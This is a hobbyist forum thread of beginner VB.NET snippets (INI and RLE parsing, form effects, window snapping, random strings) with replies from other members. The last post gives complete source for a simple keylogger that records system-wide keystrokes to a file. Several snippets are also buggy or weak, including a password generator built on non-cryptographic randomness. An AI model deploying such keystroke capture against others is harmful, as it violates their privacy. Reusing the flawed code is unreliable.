Results 1 to 13 of 13

Thread: Aaro4130's Codes

  1. #1
    Junior Member
    Join Date
    Jul 10
    Posts
    22

    Arrow Aaro4130's Codes

    Aaro4130's Codes
    About me!
    Hey! I'm Aaron, a 16 year old programmer from Toronto, ON, I started into programming when I was only 8 years old! I started into Visual Basic from MS Word, and then got it at home and it took off, I am now fluent in VB.NET and I know some C# as well as Java!
    Codes in this thread :
    • INI File Reading (Function)
    • RLE String Decoding (Function)
    • RLE String Encoding (Function)
    • Fading form (Tutorial)
    • Windows 7 Snap Emulation (Source For Predefined Sub)
    • Titlebar blocker

    ---------------------
    Code 1 : INI File read
    Description : Will read a value from an INI File
    Usage Example : Textbox1.text = readINILine("C:\ini.ini","TestSection","TestKey)

    vbnet Code:
    1. Public Function readINILine(ByVal file As String, ByVal section As String, ByVal key As String)
    2.         Dim sectionReached = False
    3.         For Each line In System.IO.File.ReadAllLines(file)
    4.             If sectionReached = True Then
    5.                 If line.StartsWith(key) Then
    6.                     Return line.Substring(line.IndexOf("=") + 1, line.Length - line.IndexOf("=") - 1)
    7.                 End If
    8.             End If
    9.             If line = "[" & section & "]" Then
    10.                 sectionReached = True
    11.             End If
    12.         Next
    13.     End Function

    Code 2 : RLE Decoding (1 digit Runlengths)
    Description : Will decode and return a run length string (such as A3A3R3O3431303)
    Usage example : MsgBox(decodeRLE("A3A3R3O3431303")) or Textbox1.Text = decodeRLE("A3A3R3O3431303")

    VB.NET Code:
    vbnet Code:
    1. Public Function decodeRLE(ByVal input As String)
    2.         Dim decode = False
    3.         Dim curchar
    4.         Dim returnstr
    5.         For Each c As Char In input
    6.             If decode = True Then
    7.                 For i = 1 To Convert.ToDouble(c.ToString)
    8.                     returnstr &= curchar
    9.                 Next
    10.                 decode = False
    11.                 GoTo 1
    12.             End If
    13.             curchar = c
    14.             decode = True
    15. 1:
    16.         Next
    17.         Return returnstr

    Code 3 : RLE String Encoding
    Description : Encodes a string to RLE
    Usage Example : encodeRLE("Aaro4130")

    vbnet Code:
    1. Public Function encodeRLE(ByVal input As String)
    2.         Dim curchar = ""
    3.         Dim RL = 1
    4.         Dim output = ""
    5.         For Each c As Char In input
    6.             If c = curchar Then
    7.                 RL += 1
    8.             Else
    9.                 output &= curchar & RL
    10.                 RL = 1
    11.  
    12.             End If
    13.             curchar = c
    14.         Next
    15.         output &= curchar & RL
    16.         RL = 0
    17.         Return output.Substring(1, output.Length - 1)
    18.     End Function

    The codes provided here are free to use for anyone!
    Last edited by aaro4130; Apr 26th, 2013 at 06:30 PM.

  2. #2
    Junior Member
    Join Date
    Jul 10
    Posts
    22

    Re: Aaro4130's Codes

    Title : Reading of *.info and *.cinfo files from Midtown Madness 1 & 2 Games
    Details : GetInfo(filename,subsection)
    Usage Example : Textbox1.text = GetInfo("c:\mm2info.info","BaseName")
    Code:
    Public Function ReadINFO(ByVal filename as string,ByVal subsection as string)
    For each line in system.io.file.readalllines(filename)
     if line.startswith(subsection & "=") then
     Return Line.replace(subsection & "=","")
    End if
    next
    End function
    Title : Check Odd Or Even
    Usage : IsItOdd(ByVal number as integer)
    Usage Example : Checkbox1.checked = isitodd(3)
    Code:
    Public Function IsItOdd(ByVal Number as Integer)
    Dim Result
    result = number /2
    if result.tostring.contains(".") then
    Return True
    Else
    Return False
    End if
    End function
    I TAKE CODE REQUESTS . Just shoot a reply on the thread
    Last edited by aaro4130; Aug 17th, 2012 at 11:21 AM.

  3. #3
    Junior Member
    Join Date
    Jul 10
    Posts
    22

    Re: Aaro4130's Codes

    [TUTORIAL] : Make a fading exit effect on your form

    This is my little tutorial about making a fading exit-effect on a form


    CONTROLS - Add the following to your form

    - 1 Timer (Enabled=False, Interval=1)

    STEP-BY-STEP - The How To

    - Declare the following variables before any functions/subs yet within the class

    Code:
    Dim cancelClose As Boolean = True
    - Add this to your form's load code

    Code:
    Me.AllowTransparency = True
    - Add this to your timers "tick" code

    Code:
      Me.Opacity -= 0.05
            If Me.Opacity = 0 Then
                cancelClose = False
                Me.Close()
            End If
    - Finally, add this to the form's FormClosing() event

    Code:
         fadetimer.Enabled = True
            e.Cancel = cancelClose
    YOUR DONE!

    Enjoy your fading form
    Last edited by aaro4130; Aug 19th, 2012 at 01:37 AM.

  4. #4
    Super Moderator si_the_geek's Avatar
    Join Date
    Jul 02
    Location
    Bristol, UK
    Posts
    35,624

    Re: Aaro4130's Codes

    Your IsItOdd function will return the wrong result on a very large percentage of computers in the world, because it relies on the Regional Settings of the computer using the "." character as the decimal point (many countries use "," instead).

    If you avoid the unpredictable conversion to string (and the unreliable check that creates), the code can be far simpler:
    Code:
    Public Function IsItOdd(ByVal Number as Integer)
    If Number Mod 2 = 1 Then
      Return True
    Else
      Return False
    End If
    End function
    ...or written in a neater way:
    Code:
    Public Function IsItOdd(ByVal Number as Integer)
    Return (Number Mod 2) = 1
    End function

  5. #5
    Junior Member
    Join Date
    Jul 10
    Posts
    22

    Re: Aaro4130's Codes

    Thanks ! I didn't know that.

  6. #6
    Fanatic Member BenJones's Avatar
    Join Date
    Mar 10
    Location
    Wales UK
    Posts
    540

    Re: Aaro4130's Codes

    Very Nice examples very compact keep them coming I like your RLE examples I may have a go at using byte arrays., Your INI reader is cool to I like ini files always use them in my apps.

  7. #7
    Junior Member
    Join Date
    Jul 10
    Posts
    22

    Re: Aaro4130's Codes

    Here's another, for generating random strings.

    Usage : Textbox1.text = GenerateString(10)
    vbnet Code:
    1. Public Function GenerateString(ByVal strLength as Integer)
    2. Dim LETTERS as Array = {"A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z"}
    3. Dim LRAND as New Random
    4. Dim RESULT as String = ""
    5. For i=1 to strLength
    6. RESULT &= LETTERS(LRAND.Next(1, LETTERS.length))
    7. Next
    8. Return Result
    9. End Function
    Last edited by aaro4130; Aug 21st, 2012 at 02:54 PM.

  8. #8
    Fanatic Member BenJones's Avatar
    Join Date
    Mar 10
    Location
    Wales UK
    Posts
    540

    Re: Aaro4130's Codes

    Nise example of random string, Hope you did't mind I chould not helping adding to this.
    Keep the examples comming there cool.

    Usage : Textbox1.text = GeneratePwsString(10)

    vbnet Code:
    1. Public Function GeneratePwsString(ByVal strLength As Integer)
    2.         'Modded version of Aaro4130's GenerateString example.
    3.         'Updated By Ben Jones to support uppwercase lowercase and digits.
    4.         'Please give cridit to Aaro4130 for original idea.
    5.         Dim CHARS As String = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
    6.         Dim LRAND As New Random()
    7.         Dim RESULT As New System.Text.StringBuilder()
    8.  
    9.         For i As Integer = 1 To strLength
    10.             RESULT.Append(CHARS(LRAND.Next(1, CHARS.Length)))
    11.         Next i
    12.  
    13.         Return RESULT.ToString()
    14.     End Function

  9. #9
    Junior Member
    Join Date
    Jul 10
    Posts
    22

    Re: Aaro4130's Codes

    Quote Originally Posted by BenJones View Post
    Nise example of random string, Hope you did't mind I chould not helping adding to this.
    Keep the examples comming there cool.

    Usage : Textbox1.text = GeneratePwsString(10)

    vbnet Code:
    1. Public Function GeneratePwsString(ByVal strLength As Integer)
    2.         'Modded version of Aaro4130's GenerateString example.
    3.         'Updated By Ben Jones to support uppwercase lowercase and digits.
    4.         'Please give cridit to Aaro4130 for original idea.
    5.         Dim CHARS As String = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
    6.         Dim LRAND As New Random()
    7.         Dim RESULT As New System.Text.StringBuilder()
    8.  
    9.         For i As Integer = 1 To strLength
    10.             RESULT.Append(CHARS(LRAND.Next(1, CHARS.Length)))
    11.         Next i
    12.  
    13.         Return RESULT.ToString()
    14.     End Function

    Wow I like it . I'll be sure to use this if i make an app

  10. #10
    New Member
    Join Date
    Dec 12
    Posts
    1

    Re: Aaro4130's Codes

    You don't need to have an array of characters, it's just ASCII anyways, use the RNG to generate the characters. Also, there's no need for a disclaimer, it's not a very original idea, if someone needs to look at other people's code just to generate a random string, they're probably not a good enough programmer to be doing anything interesting enough to make credit be an issue.

  11. #11
    Junior Member
    Join Date
    Jul 10
    Posts
    22

    Re: Aaro4130's Codes

    Windows 7 "Snap" Behaviour on Windows XP

    VB Code:
    1. Private Sub SnapForm_Move(sender As Object, e As System.EventArgs) Handles Me.Move
    2.         If Me.Location.X + Me.Width > Screen.PrimaryScreen.WorkingArea.Width - 2 Then
    3.             Me.Location = New Point(Screen.PrimaryScreen.WorkingArea.Width / 2, 0)
    4.             Me.Size = New Size(Screen.PrimaryScreen.WorkingArea.Width / 2, Screen.PrimaryScreen.WorkingArea.Height)
    5.  
    6.         End If
    7.  
    8.     End Sub

  12. #12
    Junior Member
    Join Date
    Jul 10
    Posts
    22

    Re: Aaro4130's Codes

    Blocking the titlebar of a window
    This is a quick software I wrote to hide titlebars. You need a timer with an interval of 1 named Timer1 for this to work!


    VB Code:
    1. Imports System.Runtime.InteropServices
    2.  
    3. Public Class MainForm
    4.     <DllImport("user32.dll")> _
    5.     Private Shared Function GetWindowRect(ByVal hWnd As IntPtr, ByRef lpRect As RECT) As Boolean
    6.     End Function
    7.     Dim hwnd As IntPtr
    8.     Dim winTitle As String
    9.     Public Structure RECT
    10.  
    11.         Dim left As Integer
    12.         Dim top As Integer
    13.         Dim right As Integer
    14.         Dim bottom As Integer
    15.     End Structure
    16.     Dim processName As String = "Skype"
    17.     Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
    18.         Me.Size = New Size(704, 30)
    19.         For Each p As Process In Process.GetProcesses
    20.             If p.ProcessName.ToLower = processName.ToLower Then
    21.                 hwnd = p.MainWindowHandle
    22.                 winTitle = p.MainWindowTitle
    23.             End If
    24.  
    25.  
    26.         Next
    27.     End Sub
    28.  
    29.     Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
    30.  
    31.         Dim rect As RECT
    32.         GetWindowRect(hwnd, rect)
    33.         Me.Location = New Point(rect.left, rect.top)
    34.         Me.Size = New Size(rect.right - rect.left - 150, 30)
    35.     End Sub
    36. End Class

    Getting console input
    This is a quick software I wrote to get console input, When I was 14 I didn't know how to do this! (6 years I hadn't known). So here it is!


    VB Code:
    1. Dim result As String
    2.         While True
    3.             result = Console.ReadLine
    4.             Console.WriteLine("You put : " & result)
    5.         End While

    This can be modified into a command check program where you can input the word "cat" and it will return "dog" or vice-versa

    VB Code:
    1. Dim result As String
    2.         While True
    3.             result = Console.ReadLine
    4.             If result = "cat" Then
    5.                 Console.WriteLine("dog")
    6.             ElseIf result = "dog" Then
    7.                 Console.WriteLine("cat")
    8.             Else
    9.                 Console.WriteLine("you did not put cat or dog")
    10.             End If
    11.         End While
    Last edited by aaro4130; Apr 26th, 2013 at 06:46 PM.

  13. #13
    Junior Member
    Join Date
    Jul 10
    Posts
    22

    Re: Aaro4130's Codes

    SIMPLE KEYLOG

    I saw one of these that was MUCH harder. Here is my whole form code, you need a timer with the interval of 1 and enabled, you need a Button called Button1 and text is "SAVE TO FILE", and a Listbox called ListBox1
    VB Code:
    1. Imports System.IO
    2.  
    3. Public Class Form1
    4.  
    5.     Private Declare Function GetAsyncKeyState Lib "user32.dll" (ByVal vkey As Integer) As Integer
    6.  
    7.     Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
    8.         Dim Result As Integer
    9.  
    10.         For i = 3 To 255                                  '-- This is Keycode in keyboard
    11.             Result = GetAsyncKeyState(i)
    12.             If Result = -32767 Then                '-- Keyboard pressed
    13.                 ListBox1.Items.Add(i & "," & My.Computer.Clock.LocalTime.Hour & "," & My.Computer.Clock.LocalTime.Minute & "," & My.Computer.Clock.LocalTime.Second & "," & My.Computer.Clock.LocalTime.Millisecond)
    14.  
    15.  
    16.             End If
    17.         Next
    18.  
    19.     End Sub
    20.  
    21.  
    22.     Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
    23.         Using w As New BinaryWriter(File.Create("output.klg"))
    24.             w.Write(Convert.ToChar("K"))
    25.             w.Write(Convert.ToChar("L"))
    26.             w.Write(Convert.ToChar("G"))
    27.             w.Write(Convert.ToByte(0))
    28.             w.Write(Convert.ToInt32(ListBox1.Items.Count))
    29.             For Each item In ListBox1.Items
    30.                 w.Write(Convert.ToByte(item.ToString.Split(",")(0)))
    31.                 w.Write(Convert.ToByte(item.ToString.Split(",")(1)))
    32.                 w.Write(Convert.ToByte(item.ToString.Split(",")(2)))
    33.                 w.Write(Convert.ToByte(item.ToString.Split(",")(3)))
    34.                 w.Write(Convert.ToInt16(item.ToString.Split(",")(4)))
    35.  
    36.             Next
    37.         End Using
    38.     End Sub
    39. End Class

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •